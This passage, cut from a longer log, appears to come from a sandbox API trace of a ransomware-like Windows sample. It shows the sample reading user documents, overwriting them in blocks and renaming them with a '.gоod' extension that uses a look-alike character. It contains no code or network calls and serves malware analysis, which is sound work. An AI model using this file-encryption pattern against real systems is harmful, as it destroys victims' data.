"c:\\users\\fd1hvy\\documents\\slou6jo\\vsiz313sc6nzhr.pdf"), fInfoLevelId=0x0, lpFileInformation=0x3cb24f8 | out: lpFileInformation=0x3cb24f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dac4880, ftCreationTime.dwHighDateTime=0x1d4d360, ftLastAccessTime.dwLowDateTime=0xf7f830c0, ftLastAccessTime.dwHighDateTime=0x1d4d0db, ftLastWriteTime.dwLowDateTime=0xf7f830c0, ftLastWriteTime.dwHighDateTime=0x1d4d0db, nFileSizeHigh=0x0, nFileSizeLow=0xf2a2)) returned 1 [0257.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0257.547] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf", lpFilePart=0x0) returned 0x34 [0257.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0257.547] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\vsiz313sc6nzhr.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0257.548] GetFileType (hFile=0x808) returned 0x1 [0257.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0257.548] GetFileType (hFile=0x808) returned 0x1 [0257.548] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0257.548] ReadFile (in: hFile=0x808, lpBuffer=0x3cb28e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x3cb28e0*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0257.548] CloseHandle (hObject=0x808) returned 1 [0257.548] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf", lpFilePart=0x0) returned 0x34 [0257.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0257.548] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\vsiz313sc6nzhr.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0257.549] GetFileType (hFile=0x808) returned 0x1 [0257.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0257.549] GetFileType (hFile=0x808) returned 0x1 [0257.549] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0xf2a2 [0257.549] WriteFile (in: hFile=0x808, lpBuffer=0x3cb3b60*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x3cb3b60*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0257.549] CloseHandle (hObject=0x808) returned 1 [0257.549] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf", lpFilePart=0x0) returned 0x34 [0257.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0257.549] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\vsiz313sc6nzhr.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0257.549] GetFileType (hFile=0x808) returned 0x1 [0257.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0257.549] GetFileType (hFile=0x808) returned 0x1 [0257.549] ReadFile (in: hFile=0x808, lpBuffer=0x3cb5e08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x3cb5e08*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0259.817] CloseHandle (hObject=0x808) returned 1 [0259.817] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf", lpFilePart=0x0) returned 0x34 [0259.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0259.817] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\vsiz313sc6nzhr.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0259.817] GetFileType (hFile=0x808) returned 0x1 [0259.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0259.817] GetFileType (hFile=0x808) returned 0x1 [0259.817] WriteFile (in: hFile=0x808, lpBuffer=0x35c0e78*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x35c0e78*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0259.818] CloseHandle (hObject=0x808) returned 1 [0259.818] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf", lpFilePart=0x0) returned 0x34 [0259.818] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf.gоod", lpFilePart=0x0) returned 0x39 [0259.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0259.818] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\vsiz313sc6nzhr.pdf"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dac4880, ftCreationTime.dwHighDateTime=0x1d4d360, ftLastAccessTime.dwLowDateTime=0xf7f830c0, ftLastAccessTime.dwHighDateTime=0x1d4d0db, ftLastWriteTime.dwLowDateTime=0x97146386, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf2b2)) returned 1 [0259.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0259.818] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\vsiz313sc6nzhr.pdf"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\vSIZ313sC6NZHr.pdf.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\vsiz313sc6nzhr.pdf.gоod")) returned 1 [0259.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced230) returned 1 [0259.819] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p", nBufferLength=0x105, lpBuffer=0x20ceccd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p", lpFilePart=0x0) returned 0x28 [0259.819] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\*", lpFindFileData=0x20cecf50 | out: lpFindFileData=0x20cecf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a13b9f0, ftCreationTime.dwHighDateTime=0x1d4d1f0, ftLastAccessTime.dwLowDateTime=0x377070c0, ftLastAccessTime.dwHighDateTime=0x1d4c941, ftLastWriteTime.dwLowDateTime=0x377070c0, ftLastWriteTime.dwHighDateTime=0x1d4c941, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0259.819] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x20cecf10 | out: lpFindFileData=0x20cecf10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a13b9f0, ftCreationTime.dwHighDateTime=0x1d4d1f0, ftLastAccessTime.dwLowDateTime=0x377070c0, ftLastAccessTime.dwHighDateTime=0x1d4c941, ftLastWriteTime.dwLowDateTime=0x377070c0, ftLastWriteTime.dwHighDateTime=0x1d4c941, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.820] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x20cecf10 | out: lpFindFileData=0x20cecf10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7482d70, ftCreationTime.dwHighDateTime=0x1d4c86b, ftLastAccessTime.dwLowDateTime=0x69491df0, ftLastAccessTime.dwHighDateTime=0x1d4d462, ftLastWriteTime.dwLowDateTime=0x69491df0, ftLastWriteTime.dwHighDateTime=0x1d4d462, nFileSizeHigh=0x0, nFileSizeLow=0x10099, dwReserved0=0x0, dwReserved1=0x0, cFileName="eVWSG.xlsx", cAlternateFileName="EVWSG~1.XLS")) returned 1 [0259.820] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x20cecf10 | out: lpFindFileData=0x20cecf10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70ead8b0, ftCreationTime.dwHighDateTime=0x1d4c705, ftLastAccessTime.dwLowDateTime=0xe7c3f7b0, ftLastAccessTime.dwHighDateTime=0x1d4cfbf, ftLastWriteTime.dwLowDateTime=0xe7c3f7b0, ftLastWriteTime.dwHighDateTime=0x1d4cfbf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fZ3L1-hMKIhh06_eL", cAlternateFileName="FZ3L1-~1")) returned 1 [0259.820] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x20cecf10 | out: lpFindFileData=0x20cecf10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e82ab20, ftCreationTime.dwHighDateTime=0x1d4cece, ftLastAccessTime.dwLowDateTime=0xa9e2fe0, ftLastAccessTime.dwHighDateTime=0x1d4cd94, ftLastWriteTime.dwLowDateTime=0xa9e2fe0, ftLastWriteTime.dwHighDateTime=0x1d4cd94, nFileSizeHigh=0x0, nFileSizeLow=0x162e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ineUyx WSSe_1UlTA.doc", cAlternateFileName="INEUYX~1.DOC")) returned 1 [0259.820] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x20cecf10 | out: lpFindFileData=0x20cecf10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5666330, ftCreationTime.dwHighDateTime=0x1d4ccda, ftLastAccessTime.dwLowDateTime=0xcc5e9f20, ftLastAccessTime.dwHighDateTime=0x1d4cda8, ftLastWriteTime.dwLowDateTime=0xcc5e9f20, ftLastWriteTime.dwHighDateTime=0x1d4cda8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MQj5_9oiT2beDQwJagy", cAlternateFileName="MQJ5_9~1")) returned 1 [0259.820] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x20cecf10 | out: lpFindFileData=0x20cecf10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5666330, ftCreationTime.dwHighDateTime=0x1d4ccda, ftLastAccessTime.dwLowDateTime=0xcc5e9f20, ftLastAccessTime.dwHighDateTime=0x1d4cda8, ftLastWriteTime.dwLowDateTime=0xcc5e9f20, ftLastWriteTime.dwHighDateTime=0x1d4cda8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MQj5_9oiT2beDQwJagy", cAlternateFileName="MQJ5_9~1")) returned 0 [0259.820] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0259.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced170) returned 1 [0259.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced130) returned 1 [0259.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced230) returned 1 [0259.821] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p", nBufferLength=0x105, lpBuffer=0x20ceccd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p", lpFilePart=0x0) returned 0x28 [0259.821] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\*", lpFindFileData=0x20cecf50 | out: lpFindFileData=0x20cecf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a13b9f0, ftCreationTime.dwHighDateTime=0x1d4d1f0, ftLastAccessTime.dwLowDateTime=0x377070c0, ftLastAccessTime.dwHighDateTime=0x1d4c941, ftLastWriteTime.dwLowDateTime=0x377070c0, ftLastWriteTime.dwHighDateTime=0x1d4c941, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0259.821] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x20cecf10 | out: lpFindFileData=0x20cecf10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a13b9f0, ftCreationTime.dwHighDateTime=0x1d4d1f0, ftLastAccessTime.dwLowDateTime=0x377070c0, ftLastAccessTime.dwHighDateTime=0x1d4c941, ftLastWriteTime.dwLowDateTime=0x377070c0, ftLastWriteTime.dwHighDateTime=0x1d4c941, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.821] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x20cecf10 | out: lpFindFileData=0x20cecf10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7482d70, ftCreationTime.dwHighDateTime=0x1d4c86b, ftLastAccessTime.dwLowDateTime=0x69491df0, ftLastAccessTime.dwHighDateTime=0x1d4d462, ftLastWriteTime.dwLowDateTime=0x69491df0, ftLastWriteTime.dwHighDateTime=0x1d4d462, nFileSizeHigh=0x0, nFileSizeLow=0x10099, dwReserved0=0x0, dwReserved1=0x0, cFileName="eVWSG.xlsx", cAlternateFileName="EVWSG~1.XLS")) returned 1 [0259.821] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x20cecf10 | out: lpFindFileData=0x20cecf10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70ead8b0, ftCreationTime.dwHighDateTime=0x1d4c705, ftLastAccessTime.dwLowDateTime=0xe7c3f7b0, ftLastAccessTime.dwHighDateTime=0x1d4cfbf, ftLastWriteTime.dwLowDateTime=0xe7c3f7b0, ftLastWriteTime.dwHighDateTime=0x1d4cfbf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fZ3L1-hMKIhh06_eL", cAlternateFileName="FZ3L1-~1")) returned 1 [0259.821] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x20cecf10 | out: lpFindFileData=0x20cecf10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e82ab20, ftCreationTime.dwHighDateTime=0x1d4cece, ftLastAccessTime.dwLowDateTime=0xa9e2fe0, ftLastAccessTime.dwHighDateTime=0x1d4cd94, ftLastWriteTime.dwLowDateTime=0xa9e2fe0, ftLastWriteTime.dwHighDateTime=0x1d4cd94, nFileSizeHigh=0x0, nFileSizeLow=0x162e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ineUyx WSSe_1UlTA.doc", cAlternateFileName="INEUYX~1.DOC")) returned 1 [0259.821] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x20cecf10 | out: lpFindFileData=0x20cecf10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5666330, ftCreationTime.dwHighDateTime=0x1d4ccda, ftLastAccessTime.dwLowDateTime=0xcc5e9f20, ftLastAccessTime.dwHighDateTime=0x1d4cda8, ftLastWriteTime.dwLowDateTime=0xcc5e9f20, ftLastWriteTime.dwHighDateTime=0x1d4cda8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MQj5_9oiT2beDQwJagy", cAlternateFileName="MQJ5_9~1")) returned 1 [0259.822] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x20cecf10 | out: lpFindFileData=0x20cecf10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0259.822] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0259.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced170) returned 1 [0259.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced130) returned 1 [0259.822] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx", nBufferLength=0x105, lpBuffer=0x20cecb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx", lpFilePart=0x0) returned 0x33 [0259.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cecfe0) returned 1 [0259.822] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\evwsg.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x37d65c8 | out: lpFileInformation=0x37d65c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7482d70, ftCreationTime.dwHighDateTime=0x1d4c86b, ftLastAccessTime.dwLowDateTime=0x69491df0, ftLastAccessTime.dwHighDateTime=0x1d4d462, ftLastWriteTime.dwLowDateTime=0x69491df0, ftLastWriteTime.dwHighDateTime=0x1d4d462, nFileSizeHigh=0x0, nFileSizeLow=0x10099)) returned 1 [0259.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cecfa0) returned 1 [0259.822] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx", nBufferLength=0x105, lpBuffer=0x20cec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx", lpFilePart=0x0) returned 0x33 [0259.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cecee0) returned 1 [0259.822] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\evwsg.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0259.823] GetFileType (hFile=0x808) returned 0x1 [0259.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cece50) returned 1 [0259.823] GetFileType (hFile=0x808) returned 0x1 [0259.823] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ced038*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ced038*=0) returned 0x1000 [0259.823] ReadFile (in: hFile=0x808, lpBuffer=0x37d6980, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced008, lpOverlapped=0x0 | out: lpBuffer=0x37d6980*, lpNumberOfBytesRead=0x20ced008*=0x1000, lpOverlapped=0x0) returned 1 [0259.823] CloseHandle (hObject=0x808) returned 1 [0259.823] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx", nBufferLength=0x105, lpBuffer=0x20cec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx", lpFilePart=0x0) returned 0x33 [0259.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cecee0) returned 1 [0259.823] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\evwsg.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0259.823] GetFileType (hFile=0x808) returned 0x1 [0259.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cece50) returned 1 [0259.823] GetFileType (hFile=0x808) returned 0x1 [0259.823] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ced038*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ced038*=0) returned 0x10099 [0259.824] WriteFile (in: hFile=0x808, lpBuffer=0x37d7be8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20cecf28, lpOverlapped=0x0 | out: lpBuffer=0x37d7be8*, lpNumberOfBytesWritten=0x20cecf28*=0x10, lpOverlapped=0x0) returned 1 [0259.824] CloseHandle (hObject=0x808) returned 1 [0259.824] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx", nBufferLength=0x105, lpBuffer=0x20cec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx", lpFilePart=0x0) returned 0x33 [0259.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cecee0) returned 1 [0259.824] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\evwsg.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0259.824] GetFileType (hFile=0x808) returned 0x1 [0259.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cece50) returned 1 [0259.824] GetFileType (hFile=0x808) returned 0x1 [0259.824] ReadFile (in: hFile=0x808, lpBuffer=0x37d9e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cecfb8, lpOverlapped=0x0 | out: lpBuffer=0x37d9e78*, lpNumberOfBytesRead=0x20cecfb8*=0x1000, lpOverlapped=0x0) returned 1 [0260.593] CloseHandle (hObject=0x808) returned 1 [0260.593] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx", nBufferLength=0x105, lpBuffer=0x20cec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx", lpFilePart=0x0) returned 0x33 [0260.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cecee0) returned 1 [0260.593] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\evwsg.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0260.594] GetFileType (hFile=0x808) returned 0x1 [0260.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cece50) returned 1 [0260.594] GetFileType (hFile=0x808) returned 0x1 [0260.594] WriteFile (in: hFile=0x808, lpBuffer=0x37bcf18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ced068, lpOverlapped=0x0 | out: lpBuffer=0x37bcf18*, lpNumberOfBytesWritten=0x20ced068*=0x1010, lpOverlapped=0x0) returned 1 [0260.612] CloseHandle (hObject=0x808) returned 1 [0260.616] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx", nBufferLength=0x105, lpBuffer=0x20cecb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx", lpFilePart=0x0) returned 0x33 [0260.616] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx.gоod", nBufferLength=0x105, lpBuffer=0x20cecb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx.gоod", lpFilePart=0x0) returned 0x38 [0260.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cecfa0) returned 1 [0260.616] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\evwsg.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x20ced080 | out: lpFileInformation=0x20ced080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7482d70, ftCreationTime.dwHighDateTime=0x1d4c86b, ftLastAccessTime.dwLowDateTime=0x69491df0, ftLastAccessTime.dwHighDateTime=0x1d4d462, ftLastWriteTime.dwLowDateTime=0x978df2df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x100a9)) returned 1 [0260.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cecf60) returned 1 [0260.616] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\evwsg.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\eVWSG.xlsx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\evwsg.xlsx.gоod")) returned 1 [0260.618] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc", nBufferLength=0x105, lpBuffer=0x20cecb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc", lpFilePart=0x0) returned 0x3e 